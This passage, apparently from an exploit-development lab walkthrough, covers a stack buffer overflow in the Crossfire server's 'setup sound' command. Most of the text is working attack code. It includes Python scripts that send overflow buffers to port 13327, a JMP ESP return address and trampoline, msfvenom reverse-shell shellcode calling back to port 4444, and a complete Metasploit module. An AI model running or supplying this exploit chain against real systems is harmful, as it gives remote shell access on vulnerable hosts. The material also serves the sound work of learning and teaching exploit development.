"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

#\x00,\x20 are bad characters.

crash = "\x41" * (4368-len(badchars)) + badchars + "B" * 4 + "C" * 7

buffer = "\x11(setup sound " + crash + "\x90\x00#"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "[*]Sending evil buffer..."
s.connect((host, 13327))
data = s.recv(1024)
print data
s.send(buffer)
s.close()
print "[*]Payload Sent !"

Jump To ESP Register

Now that we know that we want to reach the buffer pointed to by the ESP register, we need to find an instruction, such as JMP ESP, which will take us to the address pointed to by the ESP register. Evans Debugger has an easy opcode search feature, which makes this task easy.

import socket

host = "127.0.0.1"
crash = "A" * 4368 + "\x97\x45\x13\x08" + "\x83\xc0\x0c\xff\xe0\x90\x90"

buffer = "\x11(setup sound " + crash + "\x90\x00#"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "[*]Sending evil buffer..."
s.connect((host, 13327))
data = s.recv(1024)
print data
s.send(buffer)
s.close()
print "[*]Payload Sent !"

Generate Shellcode

import socket

host = "127.0.0.1"

# msfvenom -p generic/shell_reverse_tcp lhost=127.0.0.1 lport=4444 -f c -b "\x00\x20" -a x86 --platform linux

shellcode = (
"\xbb\x7b\xf0\xe4\x07\xda\xd2\xd9\x74\x24\xf4\x5a\x29\xc9\xb1"
"\x12\x31\x5a\x12\x83\xc2\x04\x03\x21\xfe\x06\xf2\xe4\x25\x31"
"\x1e\x55\x99\xed\x8b\x5b\x94\xf3\xfc\x3d\x6b\x73\x6f\x98\xc3"
"\x4b\x5d\x9a\x6d\xcd\xa4\xf2\x12\x2d\x57\x03\x85\x2f\x57\x12"
"\x09\xb9\xb6\xa4\xd7\xe9\x69\x97\xa4\x09\x03\xf6\x06\x8d\x41"
"\x90\xf6\xa1\x16\x08\x6f\x91\xf7\xaa\x06\x64\xe4\x78\x8a\xff"
"\x0a\xcc\x27\xcd\x4d")

nops = "\x90" * 32

retaddr = "\x97\x45\x13\x08" # jmp esp

moveEax = "\x83\xc0\x0c\xff\xe0\x90\x90" # add 12 to eax and jmp to shellcode

crash = nops + shellcode + "A" * (4368 - 32 - len(shellcode)) + retaddr + moveEax

buffer = "\x11(setup sound " + crash + "\x90\x00#"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "[*]Sending evil buffer..."
s.connect((host, 13327))
data = s.recv(1024)
print data
s.send(buffer)
s.close()
print "[*]Payload Sent !"

Writing Metasploit Module

mkdir ~/.msf4/modules/exploits/linux/misc
cp crossfire.rb ~/.msf4/modules/exploits/linux/misc/crossfire.rb

# Confirm that
1- Payload
2- Targets
3- RPORT(13327)
4- def exploit
    set your payload,
    return address,
    offset,
    etc...
class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'		=> 'Crossfire Remote Buffer Overflow',
      'Description'	=> %q{
        This module exploits a stack buffer overflow in the "setup sound"
        command of the Crossfire application.
      },
      'Author'	=> [ 'Hassan' ],
      'Arch'		=> ARCH_X86,
      'Platform'	=> 'linux',
      'References'	=>
        [
          [ 'CVE', '2005-1099' ],
          [ 'OSVDB', '15492' ],
          [ 'BID', '13129' ],
          [ 'EDB', '934' ]
        ],
      'Privileged'	=> false,
      'License'	=> MSF_LICENSE,
      'DefaultOptions' =>
      {
        'EXITFUNC' => 'thread',
      },
      'Payload'	=>
        {
          'Space' => 100,
          'BadChars' => "\x00\x20",
        },
      'Targets'	=>
        [
          [ 'Kali Linux', { 'Ret' => 0x08134597 } ],
        ],
      'DefaultTarget'	=> 0,
      'DisclosureDate'  => 'Aug 12 2019'
    ))

    register_options(
      [
        Opt::RPORT(13327)
      ],
      self.class
    )
  end

  def exploit
    connect

    sploit = "\x11(setup sound "
    sploit << "\x90" * 32
    sploit << payload.encoded
    sploit << "A" * (4368 - 32 - payload.encoded.length)
    sploit << [target.ret].pack('V')
    sploit << "\x83\xc0\x0c\xff\xe0\x90\x90"
    sploit << "\x90\x00#"

    sock.put(sploit)
    handler
    disconnect

  end
end

Last updated